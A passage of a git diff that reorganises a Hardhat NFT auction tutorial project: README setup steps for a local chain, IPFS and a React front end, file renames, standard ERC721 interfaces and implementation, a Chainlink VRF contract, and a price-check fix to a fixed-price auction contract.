+PRIVATE_KEY_TEST=zzzzz
+```
+
+### Start the local test network
+
+- New start command line input `hardhat node`
+
+  **npx hardhat node --network hardhat**
+
+- Start **ipfs**  
+  ipfs daemon
+
+- New start command line deployment contract input  
+  npx hardhat run scripts/upload.js --network localhost
+  npx hardhat run scripts/react_app_contract.js --network localhost
+
+### The Front-End start
+
+- Configuration Parameters  
+  When **react** is started, some checks are performed. These checks cause **react** startup to fail, so you need to configure it to skip unnecessary checks.
+Env is already configured in **.sample.env** configuration, so you just need to copy the configuration file.
+
+  ```
+  cd react-app
+  cp .env.example .env
+  ```
+
+- The Front-End start
+
+  ```
+  yarn install
+  yarn start
+  ```
+
+- Use **MetaMask** to link local nodes
+
+  - Switch **MetaMask** account to localhost
+  - network id: 31337
+  - rpc: http://localhost:8545
+
+- Open **react** page  
+  Open **react** page, default **http://localhost:3000**
+
+- Initial capital is injected through **Faucet**
+  Tap the "Faucet" button in the upper right corner of the page to inject initial funds for subsequent auctions
+
+- Mint Assets 
+  On **react** page, click the "Mint" button at the bottom of the image to produce ERC721 assets. You can then view your assets in "YourCollectibles"
+
+- Start Auction  
+  After Mint, the "Start Auction" button will appear under the picture, click the button to Start the Auction, there are two kinds of Auction, "Auction Fixed Price" and "Auction Unfixed Price". Select "Auction Fixed Price" to Auction (after Auction, you will find that your "yourcollectibles" assets disappear).
+
+- Switch Account 
+  Switch **MetaMask** to another account and the page refreshes. Refresh may be a bit slow here, so wait until the account in the upper right corner shows up as a new account.
+
+- Bid to Buy  
+  Auction's images are Bid with the new account, and after successful purchases, the purchased assets can be viewed in "yourcollectibles.
+
+## Contract testing steps:
+
+- Executing unit tests  
+  AuctionFixedPrice.sol : Auction Fixed Price  
+  AuctionUnfixedPrice.sol: Auction Unfixed Price
+
+  ```
+  npx hardhat test
+  ```
+
+- Execute **script** under script
+
+  ```
+  npx hardhat run scripts/auction-fix-price-script.js --network goerli
+  ```
+
+## Refer to the link
+
+- https://medium.com/coinmonks/how-to-implement-an-erc721-market-f805959ddcf
+- https://docs.matic.network/docs/develop/advanced/swap-assets
+- https://github.com/ethers-io/ethers.js/issues/368
+- Timestamp related problems of virtual machine nodes：https://ethereum.stackexchange.com/questions/86633/time-dependent-tests-with-hardhat
+- Wyvern Protocol used by Opensea: https://github.com/wyvernprotocol/wyvern-v3
+- https://explorer-mainnet.maticvigil.com/address/0x8d1566569d5b695d44a9a234540f68D393cDC40D/contracts
+- https://github.com/ssteiger/Ethereum-NFT-Store-with-Dutch-Auctions
+- Dutch auction：
+  https://medium.com/@shopevery/building-smart-contracts-for-a-dutch-auction-part-1-81dc5c770f1f
+  https://corporatefinanceinstitute.com/resources/knowledge/finance/dutch-auction/
+
+## Todo List
+
+### Administration Page
+
+- NFT Generates pages
+- My NFT list page
+- Initiate auction operation dialog box
+- Initiate auction list page
+- Bid record list page
+
+### The Front-End Page
+
+- Home page
+- About
+- NFT list page
+- Auction list page
+- Bid dialog box
+
+### Abnormal Page
+
+- When confirming the account, **Metamask** calls up the page
+- No **MetaMask**, **MetaMask** download page
+
+### Not been determined
+
+- The Collection function
+- Personal Data function
diff --git a/Example16-hardhat-auction-exchange/artwork.json b/basic/16-nft-auction-exchange/artwork.json
similarity index 100%
rename from Example16-hardhat-auction-exchange/artwork.json
rename to basic/16-nft-auction-exchange/artwork.json
diff --git a/Example16-hardhat-auction-exchange/backup/Auction.sol b/basic/16-nft-auction-exchange/backup/Auction.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/Auction.sol
rename to basic/16-nft-auction-exchange/backup/Auction.sol
diff --git a/Example16-hardhat-auction-exchange/backup/AuctionDutch.sol b/basic/16-nft-auction-exchange/backup/AuctionDutch.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/AuctionDutch.sol
rename to basic/16-nft-auction-exchange/backup/AuctionDutch.sol
diff --git a/Example16-hardhat-auction-exchange/backup/AuctionSimple.sol b/basic/16-nft-auction-exchange/backup/AuctionSimple.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/AuctionSimple.sol
rename to basic/16-nft-auction-exchange/backup/AuctionSimple.sol
diff --git a/Example16-hardhat-auction-exchange/backup/AuctionUnfixedPrice.sol b/basic/16-nft-auction-exchange/backup/AuctionUnfixedPrice.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/AuctionUnfixedPrice.sol
rename to basic/16-nft-auction-exchange/backup/AuctionUnfixedPrice.sol
diff --git a/Example16-hardhat-auction-exchange/backup/AuctionWithSig.sol b/basic/16-nft-auction-exchange/backup/AuctionWithSig.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/AuctionWithSig.sol
rename to basic/16-nft-auction-exchange/backup/AuctionWithSig.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC165.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC165.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC165.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC165.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Burnable.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Burnable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Burnable.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Burnable.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Enumerable.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Enumerable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Enumerable.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Enumerable.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Holder.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Holder.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Holder.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Holder.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Metadata.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Metadata.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Metadata.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Metadata.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721MetadataMintable.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721MetadataMintable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721MetadataMintable.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721MetadataMintable.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Pausable.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Pausable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/ERC721Pausable.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/ERC721Pausable.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC165.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC165.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC165.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC165.sol
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC20.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC20.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC20.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC20.sol
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721Enumerable.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721Enumerable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721Enumerable.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721Enumerable.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721Metadata.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721Metadata.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/IERC721Metadata.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721Metadata.sol
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Receiver.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721Receiver.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Receiver.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IERC721Receiver.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/IMyERC721.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IMyERC721.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/IMyERC721.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/IMyERC721.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/MYERC721.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/MYERC721.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/MYERC721.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/MYERC721.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/solc-0.4/Roles.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/Roles.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/solc-0.4/Roles.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/Roles.sol
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/SimpleToken.sol b/basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/SimpleToken.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/SimpleToken.sol
rename to basic/16-nft-auction-exchange/backup/sol-0.4/erc-token/SimpleToken.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/AuctionFixedPrice.sol b/basic/16-nft-auction-exchange/contracts/AuctionFixedPrice.sol
similarity index 90%
rename from Example16-hardhat-auction-exchange/contracts/AuctionFixedPrice.sol
rename to basic/16-nft-auction-exchange/contracts/AuctionFixedPrice.sol
index 5adbe0a05..4f7495d52 100644
--- a/Example16-hardhat-auction-exchange/contracts/AuctionFixedPrice.sol
+++ b/basic/16-nft-auction-exchange/contracts/AuctionFixedPrice.sol
@@ -47,9 +47,11 @@ contract AuctionFixedPrice is IERC721Receiver {
     /**
        Purchaser buy the NFT Token when the auction duration is not over the limit
     */
-    function purchaseNFTToken(address _nft, uint256 _tokenId) external {
+    function purchaseNFTToken(address _nft, uint256 _tokenId, uint256 _price) external {
         auctionDetails storage auction = tokenToAuction[_nft][_tokenId];
         require(auction.duration > block.timestamp, "Deadline already passed");
+        //Fix the bug, when the user makes a purchase, someone may add gas to complete the transaction, and then place an order at a high price
+        require(_price == auction.price, "invalid price");
      //   require(auction.seller == msg.sender);
         require(auction.isActive);
         auction.isActive = false;
diff --git a/Example16-hardhat-auction-exchange/contracts/AuctionUnfixedPrice.sol b/basic/16-nft-auction-exchange/contracts/AuctionUnfixedPrice.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/AuctionUnfixedPrice.sol
rename to basic/16-nft-auction-exchange/contracts/AuctionUnfixedPrice.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/CatBlindbox.sol b/basic/16-nft-auction-exchange/contracts/CatBlindbox.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/CatBlindbox.sol
rename to basic/16-nft-auction-exchange/contracts/CatBlindbox.sol
diff --git a/basic/16-nft-auction-exchange/contracts/IERC165.sol b/basic/16-nft-auction-exchange/contracts/IERC165.sol
new file mode 100644
index 000000000..7679992ff
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/IERC165.sol
@@ -0,0 +1,13 @@
+pragma solidity ^0.8.0;
+
+interface IERC165 {
+    /**
+     * @dev Returns true if this contract implements the interface defined by
+     * `interfaceId`. See the corresponding
+     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
+     * to learn more about how these ids are created.
+     *
+     * This function call must use less than 30 000 gas.
+     */
+    function supportsInterface(bytes4 interfaceId) external view returns (bool);
+}
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/contracts/IERC20.sol b/basic/16-nft-auction-exchange/contracts/IERC20.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IERC20.sol
rename to basic/16-nft-auction-exchange/contracts/IERC20.sol
diff --git a/basic/16-nft-auction-exchange/contracts/IERC721.sol b/basic/16-nft-auction-exchange/contracts/IERC721.sol
new file mode 100644
index 000000000..d5693ce97
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/IERC721.sol
@@ -0,0 +1,129 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./IERC165.sol";
+
+/**
+ * @dev Required interface of an ERC721 compliant contract.
+ */
+interface IERC721 is IERC165 {
+    /**
+     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
+     */
+    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
+
+    /**
+     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
+     */
+    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
+
+    /**
+     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
+     */
+    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
+
+    /**
+     * @dev Returns the number of tokens in ``owner``'s account.
+     */
+    function balanceOf(address owner) external view returns (uint256 balance);
+
+    /**
+     * @dev Returns the owner of the `tokenId` token.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     */
+    function ownerOf(uint256 tokenId) external view returns (address owner);
+
+    /**
+     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
+     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
+     *
+     * Requirements:
+     *
+     * - `from` cannot be the zero address.
+     * - `to` cannot be the zero address.
+     * - `tokenId` token must exist and be owned by `from`.
+     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
+     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
+     *
+     * Emits a {Transfer} event.
+     */
+    function safeTransferFrom(address from, address to, uint256 tokenId) external;
+
+    /**
+     * @dev Transfers `tokenId` token from `from` to `to`.
+     *
+     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
+     *
+     * Requirements:
+     *
+     * - `from` cannot be the zero address.
+     * - `to` cannot be the zero address.
+     * - `tokenId` token must be owned by `from`.
+     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
+     *
+     * Emits a {Transfer} event.
+     */
+    function transferFrom(address from, address to, uint256 tokenId) external;
+
+    /**
+     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
+     * The approval is cleared when the token is transferred.
+     *
+     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
+     *
+     * Requirements:
+     *
+     * - The caller must own the token or be an approved operator.
+     * - `tokenId` must exist.
+     *
+     * Emits an {Approval} event.
+     */
+    function approve(address to, uint256 tokenId) external;
+
+    /**
+     * @dev Returns the account approved for `tokenId` token.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     */
+    function getApproved(uint256 tokenId) external view returns (address operator);
+
+    /**
+     * @dev Approve or remove `operator` as an operator for the caller.
+     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
+     *
+     * Requirements:
+     *
+     * - The `operator` cannot be the caller.
+     *
+     * Emits an {ApprovalForAll} event.
+     */
+    function setApprovalForAll(address operator, bool _approved) external;
+
+    /**
+     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
+     *
+     * See {setApprovalForAll}
+     */
+    function isApprovedForAll(address owner, address operator) external view returns (bool);
+
+    /**
+      * @dev Safely transfers `tokenId` token from `from` to `to`.
+      *
+      * Requirements:
+      *
+      * - `from` cannot be the zero address.
+      * - `to` cannot be the zero address.
+      * - `tokenId` token must exist and be owned by `from`.
+      * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
+      * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
+      *
+      * Emits a {Transfer} event.
+      */
+    function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
+}
diff --git a/Example16-hardhat-auction-exchange/contracts/IERC721Enumerable.sol b/basic/16-nft-auction-exchange/contracts/IERC721Enumerable.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IERC721Enumerable.sol
rename to basic/16-nft-auction-exchange/contracts/IERC721Enumerable.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/IERC721Metadata.sol b/basic/16-nft-auction-exchange/contracts/IERC721Metadata.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IERC721Metadata.sol
rename to basic/16-nft-auction-exchange/contracts/IERC721Metadata.sol
diff --git a/basic/16-nft-auction-exchange/contracts/IERC721Receiver.sol b/basic/16-nft-auction-exchange/contracts/IERC721Receiver.sol
new file mode 100644
index 000000000..366ac7090
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/IERC721Receiver.sol
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @title ERC721 token receiver interface
+ * @dev Interface for any contract that wants to support safeTransfers
+ * from ERC721 asset contracts.
+ */
+interface IERC721Receiver {
+    /**
+     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
+     * by `operator` from `from`, this function is called.
+     *
+     * It must return its Solidity selector to confirm the token transfer.
+     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
+     *
+     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
+     */
+    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
+}
diff --git a/Example16-hardhat-auction-exchange/contracts/IMyERC721.sol b/basic/16-nft-auction-exchange/contracts/IMyERC721.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IMyERC721.sol
rename to basic/16-nft-auction-exchange/contracts/IMyERC721.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/IRandomNumberVRF.sol b/basic/16-nft-auction-exchange/contracts/IRandomNumberVRF.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IRandomNumberVRF.sol
rename to basic/16-nft-auction-exchange/contracts/IRandomNumberVRF.sol
diff --git a/basic/16-nft-auction-exchange/contracts/RandomNumberVRF.sol b/basic/16-nft-auction-exchange/contracts/RandomNumberVRF.sol
new file mode 100644
index 000000000..3c02177e2
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/RandomNumberVRF.sol
@@ -0,0 +1,67 @@
+pragma solidity ^0.6.6;
+
+import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
+
+contract RandomNumberVRF is VRFConsumerBase {
+
+    bytes32 internal keyHash;
+    uint256 internal fee;
+    uint256 public randomResult;
+    address public VRFCoordinator;
+    // rinkeby: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B
+    address public LinkToken;
+    // rinkeby: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709a
+
+
+    mapping(bytes32=>uint256) private resultMap;
+    mapping(bytes32=>bool) private validIds;
+
+    /**
+       * Constructor inherits VRFConsumerBase
+       *
+       * Network: goerli
+       * Chainlink VRF Coordinator address: 0x2Ca8E0C643bDe4C2E08ab1fA0da3401AdAD7734D
+       * LINK token address:                0x326C977E6efc84E512bB9C30f76E30c160eD06FB
+       * Key Hash: 0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
+       */
+    constructor(address _VRFCoordinator, address _LinkToken, bytes32 _keyhash)
+    public
+    VRFConsumerBase(_VRFCoordinator, _LinkToken)
+    {
+        VRFCoordinator = _VRFCoordinator;
+        LinkToken = _LinkToken;
+        keyHash = _keyhash;
+        fee = 0.1 * 10**18; // 0.1 LINK
+    }
+
+    function requestRandomNumber(uint256 userProvidedSeed) public returns (bytes32) {
+        require(
+            LINK.balanceOf(address(this)) >= fee,
+            "Not enough LINK - fill contract with faucet"
+        );
+        bytes32 requestId = requestRandomness(keyHash, fee, userProvidedSeed);
+        validIds[requestId] = true;
+        return requestId;
+    }
+
+    function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override
+    {
+        require(validIds[requestId], "id must be not used!") ;
+        randomResult = randomNumber;
+        resultMap[requestId]=  randomResult;
+        delete validIds[requestId];
+    }
+
+    function get()  public view  returns(uint256){
+        return randomResult;
+    }
+
+    function getById(bytes32 id)  public view  returns(uint256){
+        return resultMap[id];
+    }
+
+    function checkIdFulfilled(bytes32 id)  public view  returns(bool){
+        return validIds[id];
+    }
+
+}
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/ERC165.sol b/basic/16-nft-auction-exchange/contracts/erc-token/ERC165.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/ERC165.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/ERC165.sol
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/ERC721.sol b/basic/16-nft-auction-exchange/contracts/erc-token/ERC721.sol
new file mode 100644
index 000000000..1fe18e4e4
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/ERC721.sol
@@ -0,0 +1,376 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./IERC721.sol";
+import "./extensions/IERC721Receiver.sol";
+import "./extensions/IERC721Metadata.sol";
+import "./extensions/Address.sol";
+import "./extensions/Context.sol";
+import "./extensions/Strings.sol";
+import "./ERC165.sol";
+
+/**
+ * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
+ * the Metadata extension, but not including the Enumerable extension, which is available separately as
+ * {ERC721Enumerable}.
+ */
+contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
+    using Address for address;
+    using Strings for uint256;
+
+    // Token name
+    string private _name;
+
+    // Token symbol
+    string private _symbol;
+
+    // Mapping from token ID to owner address
+    mapping (uint256 => address) private _owners;
+
+    // Mapping owner address to token count
+    mapping (address => uint256) private _balances;
+
+    // Mapping from token ID to approved address
+    mapping (uint256 => address) private _tokenApprovals;
+
+    // Mapping from owner to operator approvals
+    mapping (address => mapping (address => bool)) private _operatorApprovals;
+
+    /**
+     * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
+     */
+    constructor (string memory name_, string memory symbol_) {
+        _name = name_;
+        _symbol = symbol_;
+    }
+
+    /**
+     * @dev See {IERC165-supportsInterface}.
+     */
+    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
+        return interfaceId == type(IERC721).interfaceId
+            || interfaceId == type(IERC721Metadata).interfaceId
+            || super.supportsInterface(interfaceId);
+    }
+
+    /**
+     * @dev See {IERC721-balanceOf}.
+     */
+    function balanceOf(address owner) public view virtual override returns (uint256) {
+        require(owner != address(0), "ERC721: balance query for the zero address");
+        return _balances[owner];
+    }
+
+    /**
+     * @dev See {IERC721-ownerOf}.
+     */
+    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
+        address owner = _owners[tokenId];
+        require(owner != address(0), "ERC721: owner query for nonexistent token");
+        return owner;
+    }
+
+    /**
+     * @dev See {IERC721Metadata-name}.
+     */
+    function name() public view virtual override returns (string memory) {
+        return _name;
+    }
+
+    /**
+     * @dev See {IERC721Metadata-symbol}.
+     */
+    function symbol() public view virtual override returns (string memory) {
+        return _symbol;
+    }
+
+    /**
+     * @dev See {IERC721Metadata-tokenURI}.
+     */
+    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
+        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
+
+        string memory baseURI = _baseURI();
+        return bytes(baseURI).length > 0
+            ? string(abi.encodePacked(baseURI, tokenId.toString()))
+            : '';
+    }
+
+    /**
+     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
+     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty 
+     * by default, can be overriden in child contracts.
+     */
+    function _baseURI() internal view virtual returns (string memory) {
+        return "";
+    }
+
+    /**
+     * @dev See {IERC721-approve}.
+     */
+    function approve(address to, uint256 tokenId) public virtual override {
+        address owner = ERC721.ownerOf(tokenId);
+        require(to != owner, "ERC721: approval to current owner");
+
+        require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
+            "ERC721: approve caller is not owner nor approved for all"
+        );
+
+        _approve(to, tokenId);
+    }
+
+    /**
+     * @dev See {IERC721-getApproved}.
+     */
+    function getApproved(uint256 tokenId) public view virtual override returns (address) {
+        require(_exists(tokenId), "ERC721: approved query for nonexistent token");
+
+        return _tokenApprovals[tokenId];
+    }
+
+    /**
+     * @dev See {IERC721-setApprovalForAll}.
+     */
+    function setApprovalForAll(address operator, bool approved) public virtual override {
+        require(operator != _msgSender(), "ERC721: approve to caller");
+
+        _operatorApprovals[_msgSender()][operator] = approved;
+        emit ApprovalForAll(_msgSender(), operator, approved);
+    }
+
+    /**
+     * @dev See {IERC721-isApprovedForAll}.
+     */
+    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
+        return _operatorApprovals[owner][operator];
+    }
+
+    /**
+     * @dev See {IERC721-transferFrom}.
+     */
+    function transferFrom(address from, address to, uint256 tokenId) public virtual override {
+        //solhint-disable-next-line max-line-length
+        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
+
+        _transfer(from, to, tokenId);
+    }
+
+    /**
+     * @dev See {IERC721-safeTransferFrom}.
+     */
+    function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
+        safeTransferFrom(from, to, tokenId, "");
+    }
+
+    /**
+     * @dev See {IERC721-safeTransferFrom}.
+     */
+    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
+        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
+        _safeTransfer(from, to, tokenId, _data);
+    }
+
+    /**
+     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
+     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
+     *
+     * `_data` is additional data, it has no specified format and it is sent in call to `to`.
+     *
+     * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
+     * implement alternative mechanisms to perform token transfer, such as signature-based.
+     *
+     * Requirements:
+     *
+     * - `from` cannot be the zero address.
+     * - `to` cannot be the zero address.
+     * - `tokenId` token must exist and be owned by `from`.
+     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
+     *
+     * Emits a {Transfer} event.
+     */
+    function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
+        _transfer(from, to, tokenId);
+        require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
+    }
+
+    /**
+     * @dev Returns whether `tokenId` exists.
+     *
+     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
+     *
+     * Tokens start existing when they are minted (`_mint`),
+     * and stop existing when they are burned (`_burn`).
+     */
+    function _exists(uint256 tokenId) internal view virtual returns (bool) {
+        return _owners[tokenId] != address(0);
+    }
+
+    /**
+     * @dev Returns whether `spender` is allowed to manage `tokenId`.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     */
+    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
+        require(_exists(tokenId), "ERC721: operator query for nonexistent token");
+        address owner = ERC721.ownerOf(tokenId);
+        return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
+    }
+
+    /**
+     * @dev Safely mints `tokenId` and transfers it to `to`.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must not exist.
+     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
+     *
+     * Emits a {Transfer} event.
+     */
+    function _safeMint(address to, uint256 tokenId) internal virtual {
+        _safeMint(to, tokenId, "");
+    }
+
+    /**
+     * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
+     * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
+     */
